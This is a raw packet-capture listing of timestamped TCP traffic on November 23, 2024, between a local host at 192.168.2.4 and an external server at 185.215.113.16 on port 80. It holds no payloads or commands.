Nov 23, 2024 18:22:20.207211018 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.207241058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.207254887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.208493948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.208547115 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.208592892 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.208636045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.210067987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.210129976 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.210170984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.211355925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.211400032 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.211654902 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.211698055 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.212752104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.212805033 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.212824106 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.212897062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.214027882 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.214076996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.214102983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.214154005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.215426922 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.215476990 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.215554953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.215605021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.216937065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.216984987 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.217022896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.217066050 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.218168020 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.218224049 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.218285084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.218332052 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.219532013 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.219578028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.219626904 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.219667912 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.220959902 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.221036911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.221086979 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.222307920 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.222372055 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.222389936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.222577095 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.232428074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.232500076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.232523918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.232626915 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.233043909 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.233175039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.233175993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.233218908 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.234433889 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.234483957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.234530926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.234571934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.235758066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.235807896 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.284620047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.284689903 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.284766912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.284904957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.285187960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.285259962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.285381079 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.285528898 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.286427975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.286489010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.286569118 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.286735058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.287659883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.287714005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.287759066 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.287795067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.288938046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.289004087 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.289081097 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.289133072 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.290146112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.290307045 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.290347099 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.291399002 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.291455984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.291599035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.291640997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.292601109 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.292648077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.292742014 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.292785883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.293817043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.293894053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.293915033 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.293927908 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.295066118 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.295120955 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.295129061 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.295173883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.296294928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.296411991 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.296449900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.296463966 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.297525883 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.297573090 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.297626019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.297730923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.298788071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.298882008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.298937082 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.299997091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.300091982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.300133944 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.301234007 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.301281929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.301354885 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.301398039 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.302464008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.302561998 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.302608967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.303690910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.303764105 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.303786039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.303834915 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.304915905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.304955959 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.305083036 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.305133104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.306184053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.306323051 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.306370020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.307459116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.307512999 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.307523966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.307559967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.308634996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.308681011 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.308747053 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.308789968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.309890032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.309958935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.310013056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.311125994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.311171055 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.311182976 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.311228991 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.312338114 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.312378883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.312402010 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.312448025 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.313576937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.313680887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.313726902 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.314795017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.314845085 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.314899921 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.314949036 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.316046000 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.316093922 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.316138029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.316184998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.317284107 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.317297935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.317338943 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.318489075 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.318531990 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.318608046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.318650007 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.319737911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.319782019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.319855928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.319895029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.320962906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.321002007 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.321084023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.321125984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.322194099 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.322314024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.322355986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.323467970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.323515892 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.323530912 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.323566914 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.324702024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.324750900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.324759960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.324800014 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.325834990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.325954914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.325997114 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.326983929 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.327022076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.327084064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.327121973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.328175068 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.328216076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.328239918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.328279018 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.329320908 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.329365969 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.329474926 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.330811977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.330869913 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.330899954 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.330943108 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.331697941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.331748962 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.331757069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.331799984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.332839012 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.332889080 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.332946062 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.332988024 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.334008932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.334181070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.334230900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.335164070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.335213900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.335283041 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.335335016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.336368084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.336471081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.336520910 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.337538958 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.337593079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.337625027 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.337667942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.338781118 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.338835001 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.338841915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.338882923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.339864969 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.339909077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.339914083 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.339947939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.341057062 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.341104031 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.341151953 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.341202974 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.342215061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.342264891 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.342335939 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.343288898 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.343328953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.343353033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.343400002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.433880091 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.434084892 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.434150934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.434396029 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.434448957 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.434479952 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.434525967 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.435349941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.435405016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.435425043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.435470104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.436407089 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.436453104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.485938072 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.485994101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.486078978 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.486239910 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.486294031 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.486371994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.486418009 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.487238884 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.487287045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.487337112 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.487384081 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.487896919 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.487953901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.487977982 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.488024950 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.488593102 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.488639116 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.488760948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.488811016 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.489176035 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.489228010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.489300966 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.489348888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.489962101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.490058899 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.490099907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.490624905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.490673065 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.490740061 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.490782976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.491381884 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.491436005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.491463900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.491508961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.492326975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.492369890 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.492423058 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.492470026 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.492813110 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.492858887 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.492927074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.492974043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.493674994 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.493802071 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.493849993 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.494276047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.494322062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.494375944 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.494421005 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.495126963 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.495171070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.495199919 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.495248079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.495748997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.495798111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.495873928 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.495923042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.496511936 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.496565104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.496587992 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.496634007 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.497221947 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.497268915 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.497335911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.497390032 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.497987986 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.498034000 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.498074055 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.498120070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.498687983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.498733997 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.498795986 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.498842001 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.499392033 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.499512911 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.499562979 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.500128031 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.500176907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.500246048 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.500288963 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.500889063 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.500960112 CET	49779	80	192.168.2.4	185.215.113.16
